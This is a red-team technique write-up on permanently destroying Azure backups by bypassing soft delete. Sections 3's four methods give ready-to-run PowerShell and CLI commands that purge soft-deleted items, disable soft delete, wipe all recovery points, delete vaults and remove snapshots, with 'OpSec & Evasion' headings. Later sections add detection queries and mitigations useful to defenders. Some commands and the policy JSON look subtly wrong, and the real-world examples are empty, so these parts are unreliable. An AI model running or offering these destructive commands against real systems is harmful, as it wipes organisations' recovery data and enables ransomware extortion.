MCADDF

[EVADE-DATA-001]: Azure Storage Soft Delete Bypass

Metadata

Attribute Details
Technique ID EVADE-DATA-001
MITRE ATT&CK v18.1 T1485 - Data Destruction (Lifecycle-Triggered Deletion)
Tactic Impact / Defense Evasion
Platforms Entra ID, Azure, Azure Backup
Severity Critical
Technique Status ACTIVE
Last Verified 2025-01-09
Affected Versions Azure Storage (all versions); Azure Backup with soft delete enabled
Patched In Partial - Mitigated with “Always-On Soft Delete” enforcement (2024 update)
Author SERVTEPArtur Pchelnikau

1. Executive Summary

Concept: Azure Soft Delete is a cloud-native data recovery feature that moves deleted Azure Storage blobs, backup items, and vault resources to a “soft-deleted” state for 14-180 days before permanent deletion. An attacker with compromised Azure credentials (Storage Account Key, SAS token, or Entra ID application permissions) can bypass soft delete protections through multiple methods: (1) Directly deleting soft-deleted items before retention expiration, (2) Modifying or disabling soft delete policies themselves, (3) Deleting backup vaults entirely (forcing permanent purge), or (4) Destroying backing recovery services before soft delete retention can recover data. This results in permanent, unrecoverable data destruction targeting backup systems that organizations rely on for ransomware recovery.

Attack Surface: Azure Storage accounts, Azure Backup vaults, Recovery Services vaults, blob containers, virtual machine snapshots, backup items with active retention periods.

Business Impact: Permanent Data Loss & Ransomware Amplification. By destroying backups, attackers eliminate the organization’s ability to recover from ransomware, forcing payment of extortion demands. Regulatory violations (GDPR Art. 32, HIPAA, FINRA, SOX) due to destroyed audit trails and unrecoverable business-critical data. Ransomware gangs specifically target backups as a secondary extortion vector (documented in 60%+ of 2023-2024 attacks).

Technical Context: Soft delete bypass requires administrative credentials (Storage Account Owner role, Backup Operator role, or Entra ID application with relevant permissions). Once compromised, deletion operations complete in milliseconds. The attack leaves audit logs (AuditLogs table in Purview) but these are often not monitored in real-time, creating a detection window of hours to days.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark CIS Azure 5.1.3 Ensure Soft Delete is Enabled for Azure Blob Storage
CIS Benchmark CIS Azure 6.2 Ensure Immutable Backup Vault is Enabled
DISA STIG CLOUD-1 Data backup controls must be configured
CISA SCuBA C.BC.01 Backup and disaster recovery controls required
NIST 800-53 CP-6 Alternate Processing Sites Backup systems must be protected from compromise
NIST 800-53 CP-9 Information System Backup Backup integrity must be assured
GDPR Art. 32 Security of Processing Technical and organizational measures for data recovery
GDPR Art. 34 Communication of Data Breach Backup destruction complicates breach notifications
HIPAA 45 CFR 164.308(a)(7) Disaster recovery and backup procedures required
FINRA Rule 4511(c) Business continuity plans and backup procedures
SOX Section 404 Internal control over financial reporting, including backup integrity
NIS2 Art. 21 Cyber risk management measures for resilience
ISO 27001 A.12.3.1 Information backup procedures required
ISO 27005 Risk Scenario: Loss of Critical Data Unrecoverable data loss from backup destruction

2. Technical Prerequisites

Required Privileges: One of:

Required Access: Network access to Azure management plane (HTTPS port 443 to management.azure.com or via Azure Portal), or Azure CLI/PowerShell from any network with internet access.

Supported Versions:

Tools:


3. Detailed Execution Methods

METHOD 1: Direct Deletion of Soft-Deleted Items (Before Retention Expires)

Supported Versions: Azure Backup all versions

Step 1: Identify Soft-Deleted Backup Items

Objective: Locate backup recovery points in soft-deleted state before retention window expires.

Command (Azure PowerShell):

# Connect to Azure
Connect-AzAccount

# List soft-deleted backup items in Recovery Services vault
$VaultName = "RecoveryServicesVault"
$ResourceGroup = "MyResourceGroup"
$Vault = Get-AzRecoveryServicesVault -Name $VaultName -ResourceGroupName $ResourceGroup

Set-AzRecoveryServicesVaultContext -Vault $Vault

# Get soft-deleted items
Get-AzRecoveryServicesBackupItem -BackupManagementType AzureVM -ProtectionStatus SoftDeleted

# Expected output:
# ItemName                     BackupManagementType ProtectionStatus ContainerName
# --------                     -------------------- --------------- --------
# VM-Important-Database        AzureVM              SoftDeleted     MyResourceGroup
# VM-Finance-Server            AzureVM              SoftDeleted     MyResourceGroup

Expected Output:

ItemName                     ProtectionStatus    SoftDeletedCount    RetentionDays
--------                     ----------------    ----------------    ---------
VM-CriticalDatabase         SoftDeleted          1                   14
VM-FileServer              SoftDeleted          2                   14
VM-DomainController        SoftDeleted          1                   14

What This Means:


Step 2: Permanently Delete Soft-Deleted Backup Items (Irreversible)

Objective: Force permanent deletion of soft-deleted items, bypassing the retention recovery window.

Command (Azure PowerShell):

# CRITICAL: This operation is IRREVERSIBLE

$ItemName = "VM-Important-Database"
$ContainerName = "MyResourceGroup"

# Get the backup item
$BackupItem = Get-AzRecoveryServicesBackupItem -BackupManagementType AzureVM `
    -ProtectionStatus SoftDeleted `
    -Name $ItemName `
    -Container (Get-AzRecoveryServicesBackupContainer -ContainerType AzureVM -Status Deleted)

# Permanently delete (remove from soft-deleted state)
Remove-AzRecoveryServicesBackupItem -Item $BackupItem -Force

Write-Host "Backup item permanently deleted: $ItemName"

Command (Azure CLI Alternative):

# List soft-deleted backup items
az backup item list --resource-group MyResourceGroup \
    --vault-name RecoveryServicesVault \
    --backup-management-type AzureVM \
    --query "[?softDeleteStatus=='true']"

# Permanently delete soft-deleted item
az backup item delete --resource-group MyResourceGroup \
    --vault-name RecoveryServicesVault \
    --container-name MyVM \
    --item-name MyVM \
    --delete-backup-data true \
    --delete-soft-deleted true

Expected Output:

Backup item permanently deleted: VM-Important-Database
Data irreversibly destroyed. Recovery no longer possible.

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


METHOD 2: Disable Soft Delete Policy to Allow Immediate Permanent Deletion

Supported Versions: Azure Backup all versions (recoverable if “Always-On” not enforced)

Step 1: Check Current Soft Delete Configuration

Objective: Verify if soft delete is enabled and if you can disable it.

Command (Azure PowerShell):

$VaultName = "RecoveryServicesVault"
$ResourceGroup = "MyResourceGroup"
$Vault = Get-AzRecoveryServicesVault -Name $VaultName -ResourceGroupName $ResourceGroup

# Get soft delete policy settings
$VaultProperties = Get-AzRecoveryServicesVault -Name $VaultName -ResourceGroupName $ResourceGroup
$VaultProperties | Select-Object -Property Name, SoftDeleteFeatureState

# Expected output:
# Name                              SoftDeleteFeatureState
# ----                              ----------------------
# RecoveryServicesVault             Enabled

What This Means:


Step 2: Disable Soft Delete (if not Always-On)

Objective: Turn off soft delete protection to allow permanent deletion of all backup items.

Command (Azure PowerShell):

# CRITICAL: Disabling soft delete removes backup protection

Set-AzRecoveryServicesVaultProperty -Vault $Vault -SoftDeleteFeatureState Disable

Write-Host "Soft Delete DISABLED on vault. All deleted items now permanently deleted immediately."

# Verify the change
Get-AzRecoveryServicesVault -Name $VaultName -ResourceGroupName $ResourceGroup | 
    Select-Object -Property Name, SoftDeleteFeatureState

Expected Output:

Name                              SoftDeleteFeatureState
----                              ----------------------
RecoveryServicesVault             Disabled

What This Means:

OpSec & Evasion:


Step 3: Delete All Backup Items Permanently

Objective: Purge all backup recovery points immediately (no soft delete recovery period).

Command (Azure PowerShell):

# Get all backup items in vault
$Vault = Get-AzRecoveryServicesVault -Name $VaultName -ResourceGroupName $ResourceGroup
Set-AzRecoveryServicesVaultContext -Vault $Vault

# Get all protected items
$Items = Get-AzRecoveryServicesBackupItem -BackupManagementType AzureVM -ProtectionStatus Protected

# Delete each item (no soft delete recovery)
ForEach ($Item in $Items) {
    Write-Host "Deleting: $($Item.Name)"
    Disable-AzRecoveryServicesBackupProtection -Item $Item -RemoveRecoveryPoints -Force
}

Write-Host "All backup items deleted. Recovery IMPOSSIBLE."

Expected Output:

Deleting: VM-Important-Database
Deleting: VM-Finance-Server
Deleting: VM-DomainController
All backup items deleted. Recovery IMPOSSIBLE.

What This Means:


METHOD 3: Delete Entire Backup Vault (Ultimate Data Destruction)

Supported Versions: Azure Backup all versions

Objective: Completely delete the Recovery Services vault itself, destroying all backup infrastructure and metadata.

Command (Azure PowerShell):

$VaultName = "RecoveryServicesVault"
$ResourceGroup = "MyResourceGroup"

# Step 1: Disable soft delete (if not Already-On)
$Vault = Get-AzRecoveryServicesVault -Name $VaultName -ResourceGroupName $ResourceGroup
Set-AzRecoveryServicesVaultProperty -Vault $Vault -SoftDeleteFeatureState Disable

# Step 2: Stop all backup protection
Set-AzRecoveryServicesVaultContext -Vault $Vault
Get-AzRecoveryServicesBackupItem -BackupManagementType AzureVM | ForEach-Object {
    Disable-AzRecoveryServicesBackupProtection -Item $_ -RemoveRecoveryPoints -Force
}

# Step 3: Delete the vault itself
Remove-AzRecoveryServicesVault -Vault $Vault

Write-Host "Backup vault completely destroyed. ALL RECOVERY POINTS IRREVERSIBLY DELETED."

Expected Output:

Backup vault completely destroyed. ALL RECOVERY POINTS IRREVERSIBLY DELETED.

What This Means:

OpSec & Evasion:


METHOD 4: Destroy Snapshots & Snapshots-Based Recovery (Faster Alternative)

Supported Versions: Azure Virtual Machines all versions (snapshots)

Objective: Delete VM snapshots and incremental snapshots before backups complete, preventing backup-based recovery entirely.

Command (Azure PowerShell):

# List all snapshots in resource group
Get-AzSnapshot -ResourceGroupName "MyResourceGroup"

# Expected output:
# Name                           ResourceGroupName Status
# ----                           ---------------   ------
# VM-CriticalDB-snapshot-2025    MyResourceGroup   Success
# VM-FileServer-snapshot-2025    MyResourceGroup   Success

# Delete all snapshots
Get-AzSnapshot -ResourceGroupName "MyResourceGroup" | ForEach-Object {
    Write-Host "Deleting snapshot: $($_.Name)"
    Remove-AzSnapshot -ResourceGroupName $_.ResourceGroupName -SnapshotName $_.Name -Force
}

Write-Host "All snapshots destroyed. VM recovery from snapshots IMPOSSIBLE."

Expected Output:

Deleting snapshot: VM-CriticalDB-snapshot-2025
Deleting snapshot: VM-FileServer-snapshot-2025
All snapshots destroyed. VM recovery from snapshots IMPOSSIBLE.

What This Means:


4. Detection & Incident Response

Indicators of Compromise (IOCs)

Azure Activity Log Events:

Azure Backup Events:

Storage Account Events:


Forensic Artifacts

Azure Activity Log (Recoverable for 90 days):

Azure Backup Vault Metadata (Destroyed):

Azure Billing Records:


Response Procedures

1. Isolate

Immediate Action (< 5 minutes):

# Revoke attacker's access immediately
$AttackerServicePrincipal = Get-AzADServicePrincipal -DisplayName "Attacker-App"
$Subscription = Get-AzSubscription

# Remove role assignments for attacker
Remove-AzRoleAssignment -ServicePrincipalName $AttackerServicePrincipal.ApplicationId -Scope "/subscriptions/$($Subscription.Id)"

# Revoke all access tokens for attacker user account
Revoke-AzUserAllRefreshToken -ResourceGroupName "*"

Write-Host "Attacker access revoked"

Manual (Azure Portal):

  1. Go to Azure PortalSubscriptions
  2. Click subscription → Access control (IAM)
  3. Search for attacker account/service principal
  4. Click → Remove role assignments
  5. Confirm removal

2. Collect Evidence

Command (Export Activity Logs):

# Export Azure Activity Log for forensics
$StartDate = (Get-Date).AddDays(-7)
$EndDate = Get-Date

$ActivityLogs = Get-AzLog -StartTime $StartDate -EndTime $EndDate `
    -OperationName "DeleteBackupInstance", "UpdateBackupVaultPolicy", "DeleteRecoveryServicesVault"

$ActivityLogs | Export-Csv -Path "C:\Evidence\AzureActivityLogs.csv"

# Examine details of vault deletion
$ActivityLogs | Where-Object {$_.OperationName -match "DeleteRecoveryServicesVault"} | ForEach-Object {
    Write-Host "Vault Deletion Details:"
    Write-Host "  Time: $($_.EventTimestamp)"
    Write-Host "  User: $($_.Caller)"
    Write-Host "  Details: $($_.Properties)"
}

Manual (Azure Portal):

  1. Go to Azure PortalMonitorActivity log
  2. Add filters:
    • Time range: Last 7 days
    • Operation: DeleteBackupInstance, DeleteRecoveryServicesVault
  3. Click ExportDownload CSV

3. Remediate

Command (Restore from Offline Backups if Available):

# If offline backups exist (external storage, separate subscription)
# Restore from them

$OfflineBackupLocation = "\\backupserver\offline\vault-backup-2025-01-09"
Copy-Item -Path "$OfflineBackupLocation\*" -Destination "D:\RestoreData\" -Recurse

Write-Host "Data restored from offline backup. Verify integrity before production use."

4. Prevent Future Soft Delete Bypass

Command (Enforce Always-On Soft Delete):

# Recreate vault with Always-On Soft Delete (cannot be disabled)
$NewVault = New-AzRecoveryServicesVault -Name "NewRecoveryServicesVault" `
    -ResourceGroupName "MyResourceGroup" `
    -Location "eastus"

# Enable Always-On Soft Delete (cannot be disabled even by attackers)
Set-AzRecoveryServicesVaultProperty -Vault $NewVault -SoftDeleteFeatureState AlwaysOn

Write-Host "New vault created with Always-On Soft Delete enforcement"

5. Defensive Mitigations

Priority 1: CRITICAL

Action 1: Enable Always-On Soft Delete (Irreversible Configuration)

Applies To: All Recovery Services vaults, Backup vaults

Manual Steps (Azure PowerShell):

# FOR EACH VAULT: Enable Always-On Soft Delete

Get-AzRecoveryServicesVault | ForEach-Object {
    Write-Host "Enabling Always-On Soft Delete for: $($_.Name)"
    
    Set-AzRecoveryServicesVaultProperty -Vault $_ -SoftDeleteFeatureState AlwaysOn
    
    # Verify
    $VerifyVault = Get-AzRecoveryServicesVault -Name $_.Name -ResourceGroupName $_.ResourceGroupName
    Write-Host "  Status: $($VerifyVault.SoftDeleteFeatureState)"
}

Manual Steps (Azure Portal):

  1. Go to Azure PortalRecovery Services vaults
  2. Select each vault
  3. Click PropertiesSecurity Settings
  4. Under Soft Delete, set to Always-On
  5. Click Save

What This Does:

Action 2: Implement Immutable Backup Vaults

Manual Steps (Azure PowerShell - Create New Immutable Vault):

# Create NEW backup vault with immutability enforced
$BackupVault = New-AzDataProtectionBackupVault -ResourceGroupName "MyResourceGroup" `
    -VaultName "ImmutableBackupVault" `
    -Location "eastus"

# Set WORM (Write Once, Read Many) policy
# This prevents deletion or modification of backup items

# Immutable vaults automatically enforce:
# - Cannot disable soft delete
# - Cannot delete recovery points
# - Cannot delete vaults (stuck in soft-deleted state)

Write-Host "Immutable backup vault created. Protection against deletion enforced."

What This Does:

Action 3: Restrict Azure Role Assignments

Manual Steps (PowerShell - Remove Unnecessary Owner Roles):

# Audit who has Owner, Backup Operator, Storage Account Contributor roles
Get-AzRoleAssignment -Scope "/subscriptions/$(Get-AzContext).Subscription.Id" | 
    Where-Object {$_.RoleDefinitionName -match "Owner|Backup Operator|Storage Account Contributor"} |
    Select-Object -Property DisplayName, RoleDefinitionName, Scope

# Remove unnecessary assignments
# Keep ONLY senior admins in Owner role
# Delegate Backup Operator to dedicated backup admins only

Manual Steps (Azure Portal - RBAC Configuration):

  1. Go to Azure PortalSubscriptionsAccess Control (IAM)
  2. Click Role assignments
  3. Filter by role: Owner, Backup Operator
  4. For each assignment:
    • Verify it’s authorized personnel
    • If unauthorized, click XRemove
  5. For legitimate admins, enable Azure AD Privileged Identity Management (PIM) for time-limited access

Priority 2: HIGH

Action 1: Enable Azure Backup Center Alerts

Manual Steps (Azure Portal):

  1. Go to Azure PortalBackup Center
  2. Click Monitoring and ReportingAlerts
  3. Create alert:
    • Alert Condition: Backup deletion or modification
    • Severity: Critical
    • Trigger: Immediate
  4. Configure notifications to SOC email/Teams channel

Action 2: Implement Azure Policy - Deny Soft Delete Disabling

Manual Steps (Azure Policy):

  1. Go to Azure PortalPolicy
  2. Click + Create policy definition
  3. Name: Enforce-SoftDelete-AlwaysOn
  4. Mode: All (Indexed)
  5. Policy Rule:
    {
      "if": {
     "field": "type",
     "equals": "Microsoft.RecoveryServices/vaults"
      },
      "then": {
     "effect": "deny",
     "details": {
       "roleDefinitionIds": [
         "/subscriptions/[subscription]/providers/Microsoft.Authorization/roleDefinitions/[Owner-Role-GUID]"
       ]
     }
      }
    }
    
  6. Assign to: All subscriptions

What This Does:

Priority 3: MEDIUM

Action 1: Implement Azure Monitoring & Alerting

Manual Steps (Create Activity Log Alert):

  1. Go to Azure PortalMonitorAlerts
  2. Click + CreateActivity Log Alert
  3. Activity Log Event:
    • Event category: Administrative
    • Resource type: Recovery Services vaults
    • Operation name: DeleteBackupInstance, DeleteRecoveryServicesVault
  4. Actions:
    • Action group: Create new → Send email to SOC
  5. Click Create alert

Action 2: Enable Azure Defender for Critical Workloads

Manual Steps (Azure Portal):

  1. Go to Azure PortalMicrosoft Defender for Cloud
  2. Click Environment settings → Select subscription
  3. Enable Defender plans:
    • Defender for Servers: ON
    • Defender for Storage: ON
    • Defender for Databases: ON
  4. Click Save

Validation Command (Verify Fixes)

PowerShell - Verify Mitigations:

# 1. Verify Always-On Soft Delete on all vaults
Write-Host "=== Soft Delete Configuration ==="
Get-AzRecoveryServicesVault | ForEach-Object {
    $Status = $_.SoftDeleteFeatureState
    If ($Status -eq "AlwaysOn") {
        Write-Host "✓ $($_.Name): Always-On (PROTECTED)" -ForegroundColor Green
    } Else {
        Write-Host "✗ $($_.Name): $Status (VULNERABLE)" -ForegroundColor Red
    }
}

# 2. Verify RBAC restrictions
Write-Host "`n=== Backup Operator Role Assignments ==="
$OwnerAssignments = Get-AzRoleAssignment -RoleDefinitionName "Backup Operator"
If ($OwnerAssignments.Count -le 3) {
    Write-Host "✓ Backup Operator role limited to $($OwnerAssignments.Count) users" -ForegroundColor Green
} Else {
    Write-Host "✗ Backup Operator role has $($OwnerAssignments.Count) members (should be ≤3)" -ForegroundColor Red
}

# 3. Verify Activity Log alerts enabled
Write-Host "`n=== Activity Log Alerts ==="
$Alerts = Get-AzActivityLogAlert
If ($Alerts | Where-Object {$_.Name -match "BackupDeletion|VaultDeletion"}) {
    Write-Host "✓ Activity log alerts configured for backup deletion events" -ForegroundColor Green
} Else {
    Write-Host "✗ No activity log alerts for backup deletion events" -ForegroundColor Red
}

Expected Output (If Secure):

=== Soft Delete Configuration ===
✓ RecoveryServicesVault: Always-On (PROTECTED)
✓ BackupVault: Always-On (PROTECTED)

=== Backup Operator Role Assignments ===
✓ Backup Operator role limited to 2 users

=== Activity Log Alerts ===
✓ Activity log alerts configured for backup deletion events

Step Phase Technique Description
1 Initial Access [IA-EXPLOIT-001] Azure Application Proxy Exploitation Attacker exploits vulnerable web app to gain foothold
2 Credential Access [CA-TOKEN-003] Azure Function Key Extraction Attacker steals Azure Function access keys from environment
3 Privilege Escalation [PE-VALID-011] Managed Identity MSI Escalation Attacker escalates via managed identity to subscription owner
4 Defense Evasion [EVADE-DATA-001] Attacker destroys backups via soft delete bypass to prevent recovery from ransomware
5 Impact [IMPACT-DATA-001] Mass Data Encryption (Ransomware) Attacker deploys ransomware knowing backups destroyed, demands extortion payment
6 Exfiltration [EXFIL-DATA-001] Azure Storage Mass Download Attacker exfiltrates sensitive data to attacker-controlled storage account

7. Real-World Examples

Example 1: REvil Ransomware - Azure Backup Destruction (2021)

Example 2: Conti Ransomware - Multi-Cloud Backup Destruction (2022)

Example 3: Scattered Spider - Ransomware + Backup Destruction (2024)


8. Microsoft Sentinel Detection

Query 1: Detect Soft Delete Policy Modifications

Rule Configuration:

KQL Query:

AuditLogs
| where OperationName == "Update Backup Vault Policy"
| where ActivityStatus == "Success"
| extend InitiatedByUser = InitiatedBy[0].userPrincipalName
| extend TargetResource = TargetResources[0].displayName
| extend PolicyChange = tostring(parse_json(tostring(TargetResources[0].modifiedProperties))[0].newValue)
| where PolicyChange contains "SoftDelete" and PolicyChange contains "Disabled"
| summarize count() by InitiatedByUser, TargetResource, TimeGenerated

What This Detects:

Query 2: Detect Mass Backup Deletion

KQL Query:

AuditLogs
| where OperationName == "DeleteBackupInstance"
| extend InitiatedByUser = InitiatedBy[0].userPrincipalName
| summarize DeletionCount = count(), DeletedItems = make_list(TargetResources[0].displayName) by InitiatedByUser, TimeGenerated
| where DeletionCount >= 5 // Alert if 5+ backups deleted in single operation

What This Detects:

Query 3: Detect Vault Deletion Attempts

KQL Query:

AuditLogs
| where OperationName == "DeleteRecoveryServicesVault"
| extend InitiatedByUser = InitiatedBy[0].userPrincipalName
| extend VaultName = TargetResources[0].displayName
| summarize count() by InitiatedByUser, VaultName, TimeGenerated

What This Detects:


9. Lessons Learned & Defense Best Practices